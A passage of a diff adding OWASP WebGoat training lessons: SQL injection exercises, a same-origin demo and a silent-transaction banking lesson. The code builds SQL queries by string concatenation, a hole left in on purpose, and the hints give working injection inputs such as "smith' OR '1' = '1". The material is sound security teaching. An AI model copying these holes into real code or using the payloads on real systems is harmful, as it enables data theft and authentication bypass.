String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
//System.out.println("Query:" + query);
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID, userId);
authenticated = true;
}
}
catch (SQLException sqle)
{
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public boolean login_BACKUP(WebSession s, String userId, String password)
{
//System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
//System.out.println("Query:" + query);
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID, userId);
authenticated = true;
}
}
catch (SQLException sqle)
{
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public List getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
private void updateLessonStatus(WebSession s)
{
try
{
String employeeId = s.getParser().getStringParameter(
SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(
SQLInjection.PASSWORD);
String stage = getStage(s);
if (SQLInjection.STAGE1.equals(stage))
{
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID
&& isAuthenticated(s))
{
setStageComplete(s, SQLInjection.STAGE1);
}
}
else if (SQLInjection.STAGE2.equals(stage))
{
// This assumes the student hasn't modified login_BACKUP().
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthenticated(s)
&& login_BACKUP(s, employeeId, password))
{
setStageComplete(s, SQLInjection.STAGE2);
}
}
}
catch (ParameterNotFoundException pnfe)
{}
}
}

266
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java Normal file
View File

@ -0,0 +1,266 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.EditProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.FindProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout;
import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff;
import org.owasp.webgoat.lessons.GoatHillsFinancial.UpdateProfile;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class SQLInjection extends GoatHillsFinancial
{
private final static Integer DEFAULT_RANKING = new Integer(75);
public final static int PRIZE_EMPLOYEE_ID = 112;
public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
public final static String STAGE1 = "String SQL Injection";
public final static String STAGE2 = "Parameterized Query #1";
public final static String STAGE3 = "Numeric SQL Injection";
public final static String STAGE4 = "Parameterized Query #2";
public void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true");
// Stage 1
hints
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ smith' OR '1' = '1 ].");
// Stage 2
hints
.add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement.");
// Stage 3
hints
.add("Try entering an employee_id of [ 101 OR 1=1 ORDER BY 'salary' ].");
// Stage 4
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4};
return new String[] {STAGE1, STAGE3};
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{
String stage = getStage(s);
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "Use SQL injection to log in as the boss ('Neville') without using the correct password. "
+ "Verify that Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete).";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Block SQL Injection using a Parameterized Query.<br>"
+ "Implement a fix to block SQL injection into the fields in question on the Login page. "
+ "Repeat stage 1. Verify that the attack is no longer effective.";
}
else if (STAGE3.equals(stage))
{
instructions = "Stage 3: Execute SQL Injection to bypass authorization.<br>"
+ "As regular employee 'Larry', use SQL injection into a parameter of the View function "
+ "(from the List Staff page) to view the profile of the boss ('Neville').";
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Block SQL Injection using a Parameterized Query.<br>"
+ "Implement a fix to block SQL injection into the relevant parameter. "
+ "Repeat stage 3. Verify that access to Neville's profile is properly blocked.";
}
}
return instructions;
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: SQL Injection";
}
}

268
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ViewProfile.java Normal file
View File

@ -0,0 +1,268 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
Employee employee = null;
if (isAuthenticated(s))
{
String userId = getSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID);
String employeeId = null;
try
{
// User selected employee
employeeId = s.getParser().getRawParameter(
SQLInjection.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getRequestAttribute(s, getLessonName() + "."
+ SQLInjection.EMPLOYEE_ID);
}
// FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an Employee.
// Most other JSP's can handle null session attributes.
employee = getEmployeeProfile(s, userId, employeeId);
// If employee==null redirect to the error page.
if (employee == null)
getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION);
else
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
updateLessonStatus(s, employee);
}
public String getNextPage(WebSession s)
{
return SQLInjection.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, String userId,
String subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT employee.* " +
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId,
String subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
private void updateLessonStatus(WebSession s, Employee employee)
{
try
{
String userId = getSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID);
String employeeId = s.getParser().getRawParameter(
SQLInjection.EMPLOYEE_ID);
String stage = getStage(s);
if (SQLInjection.STAGE3.equals(stage))
{
// If the employee we are viewing is the prize and we are not authorized to have it,
// the stage is completed
if (employee != null
&& employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthorizedForEmployee(s, Integer
.parseInt(userId), employee.getId()))
{
setStageComplete(s, SQLInjection.STAGE3);
}
}
else if (SQLInjection.STAGE4.equals(stage))
{
// If we were denied the employee to view, and we would have been able to view it
// in the broken state, the stage is completed.
// This assumes the student hasn't modified getEmployeeProfile_BACKUP().
if (employee == null)
{
Employee targetEmployee = null;
try
{
targetEmployee = getEmployeeProfile_BACKUP(s,
userId, employeeId);
}
catch (UnauthorizedException e)
{}
if (targetEmployee != null
&& targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
{
setStageComplete(s, SQLInjection.STAGE4);
}
}
}
}
catch (ParameterNotFoundException pnfe)
{}
}
}

204
main/project/JavaSource/org/owasp/webgoat/lessons/SameOriginPolicyProtection.java Normal file
View File

@ -0,0 +1,204 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.H2;
import org.apache.ecs.html.H3;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.Script;
import org.apache.ecs.html.TextArea;
import org.apache.ecs.xhtml.button;
import org.apache.ecs.xhtml.link;
import org.owasp.webgoat.session.*;
public class SameOriginPolicyProtection extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(new Script()
.setSrc("javascript/sameOrigin.js"));
Input hiddenWGStatus = new Input(Input.HIDDEN,"hiddenWGStatus",0);
hiddenWGStatus.setID("hiddenWGStatus");
ec.addElement(hiddenWGStatus);
Input hiddenGoogleStatus = new Input(Input.HIDDEN,"hiddenGoogleStatus",0);
hiddenGoogleStatus.setID("hiddenGoogleStatus");
ec.addElement(hiddenGoogleStatus);
ec.addElement(new StringElement("Enter a URL: "));
ec.addElement(new BR());
TextArea urlArea = new TextArea();
urlArea.setID("requestedURL");
urlArea.setRows(1);
urlArea.setCols(60);
urlArea.setWrap("SOFT");
ec.addElement(urlArea);
button b = new button();
b.setValue("Go!");
b.setType(button.button);
b.setName("Go!");
b.setOnClick("submitXHR();");
b.addElement("Go!");
ec.addElement(b);
ec.addElement(new BR());
ec.addElement(new BR());
H3 reponseTitle = new H3("Response: ");
reponseTitle.setID("responseTitle");
ec.addElement(reponseTitle);
//ec.addElement(new BR());
TextArea ta = new TextArea();
ta.setName("responseArea");
ta.setID("responseArea");
ta.setCols(60);
ta.setRows(4);
ec.addElement(ta);
ec.addElement(new BR());
String webGoatURL = "lessons/Ajax/sameOrigin.jsp";
String googleURL = "http://www.google.com/search?q=aspect+security";
ec.addElement(new BR());
A webGoat = new A();
webGoat.setHref("javascript:populate(\"" + webGoatURL + "\")");
webGoat.addElement("Click here to try a Same Origin request:<BR/> " + webGoatURL);
ec.addElement(webGoat);
ec.addElement(new BR());
ec.addElement(new BR());
A google = new A();
google.setHref("javascript:populate(\"" + googleURL + "\")");
google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL);
ec.addElement(google);
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus",0);
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus",0);
System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
{
makeSuccess(s);
}
return (ec);
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Enter a URL to see if it is allowed.");
hints.add("Click both of the links below to complete the lesson");
return hints;
}
/**
* Gets the ranking attribute of the HelloScreen object
*
* @return The ranking value
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Same Origin Policy Protection");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
public String getInstructions(WebSession s) {
String instructions = "This exercise demonstrates the " +
"Same Origin Policy Protection. XHR requests can only be passed back to " +
" the originating server. Attempts to pass data to a non-originating server " +
" will fail.";
return (instructions);
}
}

139
main/project/JavaSource/org/owasp/webgoat/lessons/SequentialLessonAdapter.java Executable file
View File

@ -0,0 +1,139 @@
package org.owasp.webgoat.lessons;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.SequentialLessonTracker;
import org.owasp.webgoat.session.WebSession;
public abstract class SequentialLessonAdapter extends LessonAdapter {
public void setStage(WebSession s, int stage)
{
// System.out.println("Changed to stage " + stage);
getLessonTracker(s).setStage(stage);
}
/* By default returns 1 stage.
* (non-Javadoc)
*/
public int getStageCount() {
return 1;
}
public int getStage(WebSession s)
{
int stage = getLessonTracker(s).getStage();
// System.out.println("In stage " + stage);
return stage;
}
@Override
public SequentialLessonTracker getLessonTracker(WebSession s) {
return (SequentialLessonTracker) super.getLessonTracker(s);
}
@Override
public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) {
return (SequentialLessonTracker) super.getLessonTracker(s, lesson);
}
@Override
public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride) {
return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride);
}
@Override
public LessonTracker createLessonTracker() {
return new SequentialLessonTracker();
}
protected Element createStagedContent(WebSession s)
{
try
{
int stage = getLessonTracker(s).getStage();
//int stage = Integer.parseInt( getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1"));
switch (stage)
{
case 1:
return (doStage1(s));
case 2:
return (doStage2(s));
case 3:
return (doStage3(s));
case 4:
return (doStage4(s));
case 5:
return (doStage5(s));
case 6:
return (doStage6(s));
default:
throw new Exception("Invalid stage");
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
System.out.println(e);
e.printStackTrace();
}
return (new StringElement(""));
}
protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 1 Stub");
return ec;
}
protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 2 Stub");
return ec;
}
protected Element doStage3(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 3 Stub");
return ec;
}
protected Element doStage4(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 4 Stub");
return ec;
}
protected Element doStage5(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 5 Stub");
return ec;
}
protected Element doStage6(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 6 Stub");
return ec;
}
}

315
main/project/JavaSource/org/owasp/webgoat/lessons/SilentTransactions.java Normal file
View File

@ -0,0 +1,315 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Div;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.H3;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.PRE;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created December 26, 2006
*/
public class SilentTransactions extends LessonAdapter
{
private final static Integer DEFAULT_RANKING = new Integer(40);
private final static Double CURRENT_BALANCE = 11987.09;
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s)
{
try
{
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{
if (s.getParser().getRawParameter("confirm", "").equals(
"Confirm"))
{
String amount = s.getParser().getRawParameter("amount", "");
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
StringBuffer result = new StringBuffer();
result
.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>");
if (!amount.equals(""))
{
result.append("You have just silently authorized ");
result.append(amount);
result.append("$ without the user interaction.<br>");
}
result
.append("Now you can send out a spam email containing this link and whoever clicks on it<br>");
result
.append(" and happens to be logged in the same time will loose their money !!");
out.print(result.toString());
out.flush();
out.close();
getLessonTracker(s).setCompleted(true);
return;
}
else if (s.getParser().getRawParameter("confirm", "").equals(
"Transferring"))
{
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
out
.print("<br><br>The Transaction has Completed Successfully.");
out.flush();
out.close();
return;
}
}
}
catch (Exception ex)
{
ex.printStackTrace();
}
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
form.addElement(createContent(s));
setContent(form);
}
/**
* Description of the Method
*
* @param s Current WebSession
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator");
String script = "<script>"
+ lineSep
+ "function processData(){"
+ lineSep
+ " var accountNo = document.getElementById('newAccount').value;"
+ lineSep
+ " var amount = document.getElementById('amount').value;"
+ lineSep
+ " if ( accountNo == ''){"
+ lineSep
+ " alert('Please enter a valid account number to transfer to.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " else if ( amount == ''){"
+ lineSep
+ " alert('Please enter a valid amount to transfer.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " var balanceValue = document.getElementById('balanceID').innerHTML;"
+ lineSep
+ " balanceValue = balanceValue.replace( new RegExp('$') , '');"
+ lineSep
+ " if ( parseFloat(amount) > parseFloat(balanceValue) ) {"
+ lineSep
+ " alert('You can not transfer more funds than what is available in your balance.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " document.getElementById('confirm').value = 'Transferring'"
+ lineSep
+ "submitData(accountNo, amount);"
+ lineSep
+ " document.getElementById('confirm').value = 'Confirm'"
+ lineSep
+ "balanceValue = parseFloat(balanceValue) - parseFloat(amount);"
+ lineSep
+ "balanceValue = balanceValue.toFixed(2);"
+ lineSep
+ "document.getElementById('balanceID').innerHTML = balanceValue + '$';"
+ lineSep
+ "}"
+ lineSep
+ "function submitData(accountNo, balance) {"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; "
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var result = req.responseText ;"
+ lineSep
+ " var resultsDiv = document.getElementById('resultsDiv');"
+ lineSep + " resultsDiv.innerHTML = '';" + lineSep
+ " resultsDiv.innerHTML = result;" + lineSep
+ " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
ec.addElement(new H1("Welcome to WebGoat Banking System"));
ec.addElement(new BR());
ec.addElement(new H3("Account Summary:"));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1)
.setWidth("70%").setAlign("left");
ec.addElement(new BR());
TR tr = new TR();
tr.addElement(new TD(new StringElement("Account Balance:")));
tr.addElement(new TD(new StringElement("<div id='balanceID'>"
+ CURRENT_BALANCE.toString() + "$</div>")));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD(new StringElement("Transfer to Account:")));
Input newAccount = new Input();
newAccount.addAttribute("id", "newAccount");
